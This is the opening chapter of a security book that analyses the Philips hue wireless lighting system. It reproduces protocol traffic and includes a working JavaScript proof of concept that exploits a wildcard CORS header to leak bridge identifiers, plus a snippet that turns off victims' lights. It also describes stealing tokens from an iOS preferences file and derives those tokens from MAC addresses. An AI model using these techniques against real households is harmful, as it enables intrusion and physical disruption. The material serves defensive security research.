Chapter 1. Lights Out—Hacking Wireless Lightbulbs to Cause Sustained Blackouts

hide this para

The Northeast Blackout of 2003 was widespread and affected people throughout parts of the northeastern and midwestern United States and Ontario, Canada. Approximately 45 million people were affected for as long as two days. In New York alone, 3,000 fire calls were reported due to incidents related to individuals using candles. There were 60 cases of alarm fires that were caused by the use of candles and two cases of fatalities that resulted from the use of flames to provide light. In Michigan, candles left burning during the blackout caused a fatal fire that destroyed a home.

The startling issue is not that the Northeast Blackout occurred, but what it revealed: how the developed world takes luxuries like electricity for granted, and how we have come to depend upon it. Moments when our fundamental luxuries are taken away from us cause us to reflect upon and appreciate our reliance upon them. We flip a switch and we expect the instant glow of the electric flame. We open the refrigerator and expect our food and drinks to be waiting for us at just the right temperature. We walk into our homes and expect the air conditioning to continuously and automatically maintain a comfortable equilibrium between hot and cold temperatures.

It’s been roughly 100 years since we figured out how to generate electricity. Before that, houses were lit with kerosene lamps and warmed with stoves. Our current level of dependence upon electricity is phenomenal; our cities and businesses grind to a halt within seconds of a blackout.

The US is powered by three interconnected grids that move electricity around the country: the Eastern Interconnection, Western Interconnection, and Texas Interconnection. These systems are interconnected by communication between utilities and their transmission systems to share the benefits of building larger generators and providing electricity at a lower cost.

Developed nations clearly rely upon the electric grid to empower and sustain their economies and the well-being of their citizens. Computers increasingly operate much of the technology that comprises the grid, inclusive of generators and transformers, and their functionality is accessible remotely through computer networks. As such, the concern over cyber-security-related threats is high.

In addition to the need to ensure the security of the power grid, in the upcoming era of consumer-based IoT products an additional technology ecosystem will also need to be protected: the security of the IoT products themselves will need to be guaranteed. There are various products in the market today that replace traditional lighting with bulbs that can be controlled wirelessly and remotely. As we start to install IoT devices like these in our homes and offices, we need to also be assured of the secure design of these devices, in addition to the underlying infrastructure (such as the power grid).

In this chapter, we will do a deep dive into the design and architecture of one of the more popular IoT products available in the market: the Philips hue personal lighting system. Our society has come to depend on lighting for convenience, as well as for our safety, so it makes sense to use a popular IoT product in this space as the focus of the first chapter. We will take a look at how the product operates and communicates from a security perspective and attempt to locate security vulnerabilities. Only by deep analysis can we begin to build a solid discussion and framework around the security issues at hand today and learn how to construct secure IoT devices in the future.

Why hue?

We’ve established why lighting is paramount to our civilization’s convenience and safety. As we begin our analysis of IoT devices in this space, we’d specifically like to study the Philips hue personal lighting system because of its popularity in the consumer market. As one of the first IoT-based lighting products to gain popularity, it is likely to inspire competing products to follow its architecture and design. As such, a security analysis of the hue product will give us a good understanding of what security mechanisms are being employed in IoT products in this sphere today, what potential vulnerabilities exist, and what changes are necessary to securely design such products in the future.

The hue lighting system is available for purchase at various online and brick-and-mortar outlets. As shown in Figure 1-1, the starter pack includes three wireless bulbs and a bridge. The bulbs can be configured to any of 16 million colors using the hue website or the iOS app.

aiot 0101
Figure 1-1. The hue starter pack, containing a bridge and three wireless bulbs

The bridge connects to the user’s router using an Ethernet cable, establishing and maintaining an outbound connection to the hue Internet infrastructure, as we will discuss in the following sections. The bridge communicates directly with the LED bulbs using the ZigBee protocol, which is built upon the IEEE 802.15.4 standard. ZigBee is a low-cost and low-powered protocol, which makes it popular among IoT devices that communicate with each other.

When the user is on the local network, the iOS app connects directly to the bridge to issue commands that change the state of the bulbs. When the user is remote or when the hue website is used, the instructions are sent through the hue Internet infrastructure.

In the following sections, we will study the underlying security architecture to understand the implementation and uncover weaknesses in the design. This will provide a solid understanding of security issues that can impact popular consumer-based IoT lighting systems in the market today.

Controlling Lights via the Website Interface

A good way to uncover security vulnerabilities is to understand the underlying technology architecture, and use-case analysis is one of the best ways to do so. The most basic use case of the hue system is to register for an online hue account through the website interface and link the bridge to the account. Once this is accomplished, the user can use her account to control the lights from a remote location. In this section, we will take a look at how the system lets the user associate the bridge with her account and control the lights from the website. Once we’ve shown how the use case is implemented in design, we will discuss associated security issues and how they can be exploited.

First, every user must register for a free account at the hue portal, shown in Figure 1-2. The user is required to pick a name, enter an email address, and create a (six-character-minimum) password.

aiot 0102
Figure 1-2. hue website account registration

In the second step, the website attempts to locate the bridge and associate it with the account the user just created. As shown in Figure 1-3, the website then displays the message “We found your bridge.”

aiot 0103
Figure 1-3. Associating the bridge with the website

The website knows that it has located the bridge because the bridge routinely connects to the hue backend to broadcast its id (a unique id is assigned to every physical bridge manufactured), internal IP address, and MAC address (identical to the id). The bridge does this by making a POST request to dcs.cb.philips.com, like this:

POST /Dcs.ConnectionServiceHTTP/1.0
Host: dcs.cb.philips.com:8080
Authorization: CBAuth Type="SSO", Client="[DELETED]", RequestNr="16",
Nonce="[DELETED]", SSOToken="[DELETED]", Authentication="[DELETED]
Content-Type: application/CB-MessageStream; boundary=ICPMimeBoundary
Transfer-Encoding: Chunked

304
--ICPMimeBoundary
Content-Type: application/CB-Encrypted; cipher=AES
Content-Length:0000000672

[DELETED]

To which the server side responds:

HTTP/1.0 200 OK
WWW-Authenticate :  CBAuth Nonce="[DELETED]"
Connection : close
Content-Type : application/CB-MessageStream; boundary="ICPMimeBoundary"
Transfer-Encoding : Chunked

001
Note

The code marked [DELETED] signifies actual content that was deleted to preserve the confidentiality and integrity of the hardware and accounts being tested. The removal of the associated characters has no material effect on understanding the example.

The 001 response to the POST request indicates that the hue infrastructure has registered the bridge by associating its id with the source IP address of the HTTP connection.

If you have the hue system installed, you can browse to https://www.meethue.com/api/nupnp from your home network to obtain the information reported by your bridge to the hue infrastructure. As shown in Figure 1-4, you’ll see the id of the bridge, along with its MAC address and internal IP address. The hue website maintains a collection of bridges (based on their ids, internal IP addresses, and MAC addresses) and pairs them with the source IP address of the TCP connection (as you are browsing the hue website). This is why the website confidently displays “We found your bridge” (Figure 1-3).

aiot 0104
Figure 1-4. Bridge’s id, internal IP address, and MAC address

To gain permission to use the bridge remotely, the user must press the physical button on the bridge within 30 seconds. Requiring the user to prove to the server side that he has physical access to the bridge provides an additional layer of security.

After displaying the message in Figure 1-3, the web browser issues the following GET request:

GET /en-US/user/isbuttonpressed HTTP/1.1
Host: www.meethue.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10
(KHTML, like Gecko) Version/6.0.3 Safari/536.28.10
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: https://www.meethue.com/en-US/user/linkbridge
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie:[DELETED]
Connection: keep-alive
Proxy-Connection: keep-alive

This GET request will wait for 30 seconds, giving the user time to physically press the button on the bridge. When the user presses the button, the bridge sends a POST request to dcp.cpp.philips.com signifying the event. In this situation, after the user has proven physical ownership of the bridge, the server responds positively to the POST request:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_FLASH=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_ERRORS=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: [DELETED]
Vary: Accept-Encoding
Date: Mon, 29 Apr 2013 23:30:06 GMT
Server: Google Frontend
Content-Length: 4

true

This response from the server indicates that the button was indeed pressed. The browser then sends the following GET request to complete the setup:

GET /en-US/user/setupcomplete HTTP/1.1
Host: www.meethue.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3)
AppleWebKit/536.28.10
(KHTML, like Gecko) Version/6.0.3 Safari/536.28.10
Accept: text/html,application/xhtml+xml,application/xml;
DNT: 1
Referer: https://www.meethue.com/en-US/user/linkbridge
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie: [DELETED]
Connection: keep-alive
Proxy-Connection: keep-alive

The server responds to the GET request with various types of details:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8; charset=utf-8
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_FLASH=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_ERRORS=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_SESSION="[DELETED]-%00ip_address%3A[DELETED]__[DELETED]
;Path=/
Vary: Accept-Encoding
Date: Mon, 29 Apr 2013 23:30:08 GMT
Server: Google Frontend
Content-Length: 47369

[DELETED]
app.data.bridge = {"clientMessageState":[DELETED],"config":{"lights":{"15":
{"name":"Bathroom 2","state":{"bri":254,"effect":"none","sat":144,"reachabl
e":true,"alert":"none","hue":14922,"colormode":"ct","on":false,"ct":369,"xy
":[0.4595,0.4105]},"modelid":"LCT001","swversion":"65003148","pointsymbol":
{"3":"none","2":"none","1":"none","7":"none","6":"none","5":"none","4":"non
e","8":"none"},"type":"Extended color light"},"13":{"name":"Bathroom 4","st
ate":{"bri":254,"effect":"none","sat":144,"reachable":true,"alert":"none","
hue":14922,"colormode":"ct","on":false,"ct":369,"xy":[0.4595,0.4105]},"mode
lid":"LCT001","swversion":"65003148","pointsymbol":{"3":"none","2":"none","
1":"none","7":"none","6":"none","5":"none","4":"none","8":"none"},"type":"E
xtended color light"},"14":{"name":"Bathroom 3","state":{"bri":254,"effect"
:"none","sat":144,"reachable":true,"alert":"none","hue":14922,"colormode":"
ct","on":false,"ct":369,"xy":[0.4595,0.4105]},"modelid":"LCT001","swversion
":"65003148","pointsymbol":{"3":"none","2":"none","1":"none","7":"none","6"
:"none","5":"none","4":"none","8":"none"},"type":"Extended color light"},"1
1":{"name":"Hallway 2","state":{"bri":123,"effect":"none","sat":254,"reacha
ble":true,"alert":"none","hue":17617,"colormode":"xy","on":false,"ct":424,"
xy":[0.492,0.4569]},"modelid":"LCT001","swversion":"65003148","pointsymbol"
:{"3":"none","2":"none","1":"none","7":"none","6":"none","5":"none","4":"no
ne","8":"none"},"type":"Extended color light"},"12":{"name":"Bathroom 1","s
tate":{"bri":254,"effect":"none","sat":144,"reachable":true,"alert":"none",
"hue":14922,"colormode":"ct","on":false,"ct":369,"xy":[0.4595,0.4105]},"mod
elid":"LCT001","swversion":"65003148","pointsymbol":{"3":"none","2":"none",
"1":"none","7":"none","6":"none","5":"none","4":"none","8":"none"},"type":"
Extended color light"},"3":{"name":"Living room lamp 2","state":{"bri":102,
"effect":"none","sat":234,"reachable":true,"alert":"none","hue":687,"colorm
ode":"xy","on":false,"ct":500,"xy":[0.6452,0.3312]},"modelid":"LCT001","swv
ersion":"65003148","pointsymbol":{"3":"none","2":"none","1":"none","7":"non
e","6":"none","5":"none","4":"none","8":"none"},"type":"Extended color ligh
t"},"2":{"name":"Living room lamp 1","state":{"bri":119,"effect":"none","sa
t":180,"reachable":true,"alert":"none","hue":51616,"colormode":"xy","on":fa
lse,"ct":158,"xy":[0.3173,0.187]},"modelid":"LCT001","swversion":"65003148"
,"pointsymbol":{"3":"none","2":"none","1":"none","7":"none","6":"none","5":
"none","4":"none","8":"none"},"type":"Extended color light"},"1":{"name":"B
ookshelf 1","state":{"bri":161,"effect":"none","sat":236,"reachable":true,"
alert":"none","hue":696,"colormode":"xy","on":false,"ct":500,"xy":[0.6474,0
.3308]},"modelid":"LCT001","swversion":"65003148","pointsymbol":{"3":"none"
,"2":"none","1":"none","7":"none","6":"none","5":"none","4":"none","8":"non
e"},"type":"Extended color light"},"10":{"name":"Bedroom 1","state":{"bri":
254,"effect":"none","sat":144,"reachable":true,"alert":"none","hue":14922,"
colormode":"ct","on":false,"ct":369,"xy":[0.4595,0.4105]},"modelid":"LCT001
","swversion":"65003148","pointsymbol":{"3":"none","2":"none","1":"none","7
":"none","6":"none","5":"none","4":"none","8":"none"},"type":"Extended colo
r light"},"7":{"name":"Guest bedroom 1","state":{"bri":115,"effect":"none",
"sat":144,"reachable":true,"alert":"none","hue":14922,"colormode":"xy","on"
:false,"ct":369,"xy":[0.2567,0.2172]},"modelid":"LCT001","swversion":"65003
148","pointsymbol":{"3":"none","2":"none","1":"none","7":"none","6":"none",
"5":"none","4":"none","8":"none"},"type":"Extended color light"},"6":{"name
":"Kitchen 3","state":{"bri":74,"effect":"none","sat":253,"reachable":true,
"alert":"none","hue":37012,"colormode":"xy","on":false,"ct":153,"xy":[0.281
,0.2648]},"modelid":"LCT001","swversion":"65003148","pointsymbol":{"3":"non
e","2":"none","1":"none","7":"none","6":"none","5":"none","4":"none","8":"n
one"},"type":"Extended color light"},"5":{"name":"Kitchen 1","state":{"bri"
:106,"effect":"none","sat":254,"reachable":true,"alert":"none","hue":25593,
"colormode":"xy","on":false,"ct":290,"xy":[0.4091,0.518]},"modelid":"LCT001
","swversion":"65003148","pointsymbol":{"3":"none","2":"none","1":"none","7
":"none","6":"none","5":"none","4":"none","8":"none"},"type":"Extended colo
r light"},"4":{"name":"Bookshelf 2","state":{"bri":16,"effect":"none","sat"
:247,"reachable":true,"alert":"none","hue":11901,"colormode":"xy","on":fals
e,"ct":500,"xy":[0.5466,0.4121]},"modelid":"LCT001","swversion":"65003148",
"pointsymbol":{"3":"none","2":"none","1":"none","7":"none","6":"none","5":"
none","4":"none","8":"none"},"type":"Extended color light"},"9":{"name":"Ki
tchen 2","state":{"bri":246,"effect":"none","sat":216,"reachable":true,"ale
rt":"none","hue":58013,"colormode":"xy","on":false,"ct":359,"xy":[0.4546,0.
2323]},"modelid":"LCT001","swversion":"65003148","pointsymbol":{"3":"none",
"2":"none","1":"none","7":"none","6":"none","5":"none","4":"none","8":"none
"},"type":"Extended color light"},"8":{"name":"Hallway 1","state":{"bri":9,
"effect":"none","sat":254,"reachable":true,"alert":"none","hue":25593,"colo
rmode":"xy","on":false,"ct":290,"xy":[0.4091,0.518]},"modelid":"LCT001","sw
version":"65003148","pointsymbol":{"3":"none","2":"none","1":"none","7":"no
ne","6":"none","5":"none","4":"none","8":"none"},"type":"Extended color lig
ht"}},"schedules":{},"config":{"portalservices":true,"gateway":"192.168.2.1
","mac":"[DELETED]","swversion":"01005215","ipaddress":"192.168.2.2","proxy
port":0,"swupdate":{"text":"","notify":false,"updatestate":0,"url":""},"lin
kbutton":true,"netmask":"255.255.255.0","name":"Philips hue","dhcp":true,"U
TC":"2013-04-29T21:13:29","proxyaddress":"","whitelist":{"[DELETED]":{"name
":"iPad 4G","create date":"2012-11-23T05:54:57","last use date":"2013-02-11
T21:29:12"},"[DELETED]":{"name":"iPhone 5","create date":"2012-11-22T04:49:
57","last use date":"2012-12-03T01:21:56"},"[DELETED]":{"name":"iPhone 5","
create date":"2012-12-09T04:04:39","last use date":"2013-04-29T21:10:32"}}}
,"groups":{}},"lastHeardAgo":5 };app.data.bridgeid = "[DELETED]";[DELETED]

As you can see, the HTTP response includes information about the lightbulbs associated with the bridge and their state, as well as the internal bridge IP address and id.

Note

Notice the whitelist elements in the response. The strings associated with this element represent authorized tokens that can be used to send the bridge commands directly. We will cover the use of whitelisted elements in the following sections.

The user is presented with a dashboard containing various scenes (configured to turn bulbs into a combination of colors and brightness for convenience) and the set of bulbs. As shown in Figure 1-5, the user can select a scene, configure an individual bulb, or turn all bulbs on or off. Status information about the states of various bulbs (for example, "Bathroom 1") is displayed to the user in the web interface.

aiot 0105
Figure 1-5. User dashboard for turning lights on or off

When the user wants to turn all the bulbs off and clicks the off button, the browser directly connects to the bridge (IP address 192.168.2.2 in this case) if the user is on the same local network as the bridge:

PUT /api/[+whitelist DELETED+]/groups/0/action HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3)
AppleWebKit/536.28.10
(KHTML, like Gecko) Version/6.0.3 Safari/536.28.10
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive
Content-Length: 12

{"on":false}

As you can see, the browser sends the whitelist token that was generated when the bridge was associated with the user’s account. The /groups/0/action command is documented in Section 2.5 of the Philips hue API (free registration is required to view the API) and is used to turn all lights off.

When the user is remote and not on the same local segment as the bridge, the message is routed through the web server:

GET /en-US/user/sendMessageToBridge?clipmessage=%7B%22bridgeId%22%3A%22[DELETED]
%22%2C%22clipCommand%22%3A%7B%22url%22%3A%22%2Fapi%2F0%2Fgroups%2F0%2Faction%22%
2C%22method%22%3A%22PUT%22%2C%22body%22%3A%7B%22on%22%3Afalse%7D%7D%7D HTTP/1.1
Host: www.meethue.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3)
AppleWebKit/536.28.10
(KHTML, like Gecko) Version/6.0.3 Safari/536.28.10
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: https://www.meethue.com/en-US/user/scenes
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie:[DELETED]
Connection: keep-alive
Proxy-Connection: keep-alive

Notice that in this case the value of clipCommand contains the same /groups/0/action command as the local request. The bridge quickly collects this instruction from the established outbound connection by issuing a POST request to /queue/getmessage?id=[DELETED id]&sso=[DELETED]. Once the bridge processes the request, the server responds to the browser with a positive affirmation that all lights are turned off:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_FLASH=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_ERRORS=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_SESSION=[DELETED];Path=/
Vary: Accept-Encoding
Date: Sun, 05 May 2013 23:04:19 GMT
Server: Google Frontend
Content-Length: 41

{"code":200,"message":"ok","result":"ok"}

The ok codes for message and result signify that the instructions executed successfully and the bulbs were turned off.

Information Leakage

The web server associated with the hue website and the bridge (the bridge has a web server listening on TCP port 80) includes the following header when responding to requests:

Access-Control-Allow-Origin: *

According to cross-origin policies within web browsers, this header allows JavaScript code on any website on the Internet to access the results from the web servers running on the hue website and the bridge. This leads to a situation in which an external entity can capture the fact that the user is on a network segment that has the hue system installed, as well as capturing the bridge’s id, MAC address, and internal IP address.

To illustrate this, consider the following HTML code:

<HTML>
        <SCRIPT>
                // Create the XHR object.
                function find_hue()
                {
                        var url = 'https://www.meethue.com/api/nupnp';

                        var xhr = new XMLHttpRequest();

                        xhr.open('GET', url, true);

                        xhr.onload = function()
                        {
                                var text = xhr.responseText;

                                var obj=JSON.parse(text.substr(1,
                                text.length-2));

                                document.write('<H3>Your Hue bridge id
                                is '+ obj.id + '</H3><BR>');
                                document.write('<H3>Your Hue bridge
                                internal IP address is '+
                                obj.internalipaddress + '</H3><BR>');

                                document.write('<H3>Your Hue bridge MAC
                                address is '+ obj.macaddress + '</H3><BR>');
                        };

                        xhr.send();
                }

                find_hue();

        </SCRIPT>
</HTML>

Assume the HTML code is hosted on an external website. As shown in Figure 1-6, the website hosted at www.dhanjani.com is able to capture the bridge’s id, internal IP address, and MAC address. As the HTML code illustrates, this is done by using XMLHttpRequest, which makes the web browser connect to a domain other than www.dhanjani.com (i.e., www.meethue.com). Having captured this information, the owner of the external website can easily store it.

aiot 0106
Figure 1-6. Information leakage to external website

From a security perspective, merely visiting an arbitrary website should not reveal this information. We classify this issue as information leakage, because it reveals information to an external entity who has not been authorized by the user to obtain this data.

Drive-by Blackouts

The web server running on the bridge also has the Access-Control-Allow-Origin header set to *. Should the owner of an external website know one of the whitelist tokens associated with the bridge, that individual can remotely control the lights by performing an XMLHttpRequest to get the bridge’s internal IP address (as discussed earlier), then performing another XMLHttpRequest to the bridge’s IP address using PUT:

xhr.open('PUT', 'http://'+obj.internalipaddress+'/api/[whitelist DELETED]/groups/
0/action', true);

and then sending the body of the PUT request:

xhr.send("{\"on\":false}");

This would cause the victim’s browser to connect directly to the hue bridge on the local network and command it to turn the lights off. In this situation, the attacker is able to remotely leverage and exploit the condition of the victim’s browser having direct access to the bridge on the local network (therefore the term drive-by).

The probability of malicious attackers pulling this off is low, because they would have to know one of the whitelist tokens. Still, it is a poor design decision to set the Access-Control-Allow-Origin header to *. Good security mechanisms should not allow an arbitrary website to be able to force lights to turn off, even if its owner knows one of the whitelist tokens.

Weak Password Complexity and Password Leaks

The hue website lets users control the lights in their homes remotely, as long as the users log in with valid credentials.

As shown in Figure 1-7, the hue website requires only that passwords be at least six characters long. Users might be tempted to create easily guessable passwords, such as 123456 (in fact, studies have shown 123456 and password to be the most common passwords).

While it is true that, ultimately, users are at fault for selecting weak passwords such as these, it is the job of security architects to make it harder for people to make such mistakes. Most people just want their devices and software to work in the moment and simply aren’t aware of potential negative repercussions in the future.

Despite the weak password policy, the website does lock out the account for one minute after every two failed login attempts (Figure 1-8). This decreases the odds of brute-force password attacks in the event that a user has selected a password that is not easily guessable.

However, another major problem is users’ tendency to reuse their credentials for different services. Reports of major password leaks occur on a frequent, if not daily, basis. When an attack has compromised a major website, an attacker can easily attempt to log into the hue website using leaked usernames and passwords.

aiot 0107
Figure 1-7. A password requirement of at least six characters
aiot 0108
Figure 1-8. Accounts are locked for one minute after two failed login attempts

This scenario is high risk, because all the attacker needs to do is go through usernames (when they are in the form of email addresses) and passwords that have been compromised and posted publicly and test the credentials on the hue site. In this way, attackers can easily harvest hue accounts and gain the ability to change the state of people’s lightbulbs remotely.

Related threats include the potential compromise of the hue website infrastructure, or the abuse of the system by a disgruntled employee. Either of these situations can put enormous power in the hands of a potential attacker. Philips has not publicly stated its internal governance process or the steps it may have taken to detect possible attacks on its infrastructure. There is no indication from Philips on how it protects the stored passwords in its databases, or whether they are accessible to employees in the clear.

Controlling Lights Using the iOS App

Users can also control hue lights locally or remotely using an iPhone or iPad with the hue app available on the App Store.

When the hue app is first launched, it tests to see if it has authorization to send commands to the hue bridge on the local network:

GET /api/[username DELETED] HTTP/1.1
Host: 10.0.1.2
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-us
Connection: keep-alive
Pragma: no-cache
User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0

The username token is selected by the hue app. This is the response from the bridge:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 1 Aug 2011 09:00:00 GMT
Connection: close
Access-Control-Max-Age: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Content-type: application/json

[{"error":{"type":1,"address":"/","description":"unauthorized user"}}]

Since this is the first time the iOS device is attempting to connect to the bridge, the device is not authorized. In this situation, the user needs to prove physical ownership by pressing the button on the bridge. At this point, the iOS app instructs the user to do so, as shown in Figure 1-9.

aiot 0109
Figure 1-9. iOS app instructing the user to press the physical button on the bridge

Behind the scenes, the iOS app sends the following POST request to the bridge:

POST /api HTTP/1.1
Host: 10.0.1.2
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-us
Accept: */*
Pragma: no-cache
Connection: keep-alive
User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0
Content-Length: 71

{"username":"[username DELETED]","devicetype":"iPhone 5"}

Note that the value of the username field sent here is the same as the one sent in the previous request, which failed because the iOS app was running for the first time on the particular device. If the user presses the button on the bridge within 30 seconds, this particular username will become authorized and can be used to issue commands to the bridge while on the local network.

Assuming that the user does press the button on the bridge, the bridge sends the following response to the iOS app:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 1 Aug 2011 09:00:00 GMT
Connection: close
Access-Control-Max-Age: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Content-type: application/json

[{"success":{"username":"[username DELETED]"}}]

The bridge responds positively and echoes back the username field provided by the iOS app. Now that the iOS app is successfully authorized, it can command the bridge with instructions, as long as it remembers the value of the username field.

The user can turn all lights off using the iOS app, as shown in Figure 1-10.

When the user selects to turn all lights off from the iOS app (assuming the user is on the local network—i.e., at home), the iOS app will send the following request directly to the bridge:

PUT /api/[username DELETED]/groups/0/action HTTP/1.1
Host: 10.0.1.2
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-us
Pragma: no-cache
Connection: keep-alive
User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0
Content-Length: 12

{"on":false}
aiot 0110
Figure 1-10. User tapping “ALL OFF” button in iOS app

And the bridge responds:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 1 Aug 2011 09:00:00 GMT
Connection: close
Access-Control-Max-Age: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Content-type: application/json

[{"success":{"/groups/0/action/on":false}}]

The success attribute with the false value indicates that the command executed successfully and the lights were turned off (i.e., /groups/0/action/on indicates that the on state is negative, which means it is false that the lights are turned on).

When the device is not on the same network segment (i.e., the user is remote), the iOS app can remotely issue commands to the bridge via the portal infrastructure. In this case, the iOS device notifies the user that it is unable to connect to the bridge directly, as shown in Figure 1-11.

aiot 0111
Figure 1-11. Hue iOS app notifying the user that it is unable to connect to the bridge

When the user taps More on the dialog in Figure 1-11, the app then presents an option to “Setup away from home,” as shown in Figure 1-12.

aiot 0112
Figure 1-12. Options available when user taps More

When the user selects the “Setup away from home” option, the app launches the Safari browser in iOS and requests the user’s credentials, as shown in Figure 1-13. The user needs to enter the website credentials established previously (as described in “Controlling Lights via the Website Interface”).

aiot 0113
Figure 1-13. Portal login page to authorize iOS app

Once the user has entered her credentials and logged in, she is asked to authorize the app (Figure 1-14).

aiot 0114
Figure 1-14. User is asked to authorize iOS app

Once the user selects Yes, the browser sends the following GET request to www.meethue.com:

GET /en-US/api/getaccesstokenpost HTTP/1.1
Host: www.meethue.com
Referer: https://www.meethue.com/en-US/api/getaccesstokengivepermission
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: [DELETED]
Accept-Language: en-us
Connection: keep-alive
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_4 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B350 Safari/8536.25

The server then responds with the following:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8; charset=utf-8
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: [DELETED]
Vary: Accept-Encoding
Date: Mon, 08 Jul 2013 05:24:14 GMT
Server: Google Frontend
Content-Length: 1653

<!DOCTYPE html>
<html>
  <head>
    <meta content="0;phhueapp://sdk/login/8/[TOKEN DELETED]=" http-equiv=
    "refresh" />

[Rest of HTML deleted for brevity]

The response from the server redirects the web browser to the phhueapp://sdk/login/8/[TOKEN DELETED] URL, which causes the hue iOS app to relaunch. The iOS app is passed the TOKEN value, which it stores so that it will be able to connect to www.meethue.com in the future and issue commands to the bridge remotely.

Note

phhueapp: is known as a URL scheme. URL schemes enable the Safari browser and other apps to launch apps that have registered handlers for those schemes. For example, the native Maps app can be launched by typing maps:// in the Safari browser in iOS. In this case, the hue app registered the phhueapp: handler, so Safari can launch the hue app when it is redirected to a URL beginning with the phhueapp: string.

Now, when the user is remote (i.e., not on the same wireless network as the bridge), commands are routed via the Internet to www.meethue.com. In this situation, when the user taps on ALL OFF (Figure 1-10), the iOS app sends the following request with the authorized TOKEN value it obtained earlier:

POST /api/sendmessage?token=[DELETED} HTTP/1.1
Host: www.meethue.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: hue/1.0.2 CFNetwork/609.1.4 Darwin/13.0.0
Content-Length: 127

clipmessage={ bridgeId: "[DELETED}", clipCommand: { url:
"/api/0/groups/0/action", method: "PUT", body:
{"on":false} } }

In this case, the bridge responds:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_FLASH=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_ERRORS=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_SESSION=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Date: Mon, 06 May 2013 19:51:58 GMT
Server: Google Frontend
Content-Length: 41

{"code":200,"message":"ok","result":"ok"}

The ok response from www.meethue.com signifies that the command was executed successfully and that all the lights were turned off.

Stealing the Token from a Mobile Device

The iOS app stores the username token and the TOKEN for www.meethue.com in the Library/Preferences/com.philips.lighting.hue.plist file on the iPhone and iPad (they are stored as uniqueGlobalDeviceIdentifier and sdkPortalToken, respectively). Someone with temporary access to a hue user’s mobile device can capture this file and then be able to remotely control that user’s hue bulbs. The probability of this risk is low, because the malicious entity would require physical access to the mobile device.

Malware Can Cause Perpetual Blackouts

In the analysis of the use case, we studied how the username token is registered with the bridge by the iOS app. This secret token can be used by any device on the local network to connect directly to the bridge and issue it authorized commands to control the bulbs.

We found that the username token selected by the iOS app was not random, but rather was the message-digest algorithm (MD5)–based hash of the iPhone or iPad’s MAC address. Every network card (wired or wireless) has a unique MAC address issued by the manufacturer. In both wired and wireless networks, the MAC addresses of devices on the local network that have transmitted data recently can be viewed by issuing the arp command on most operating systems:

$ arp -a -n
? (172.20.0.1) at d4:ae:52:9d:1f:49 on en0 ifscope [ethernet]
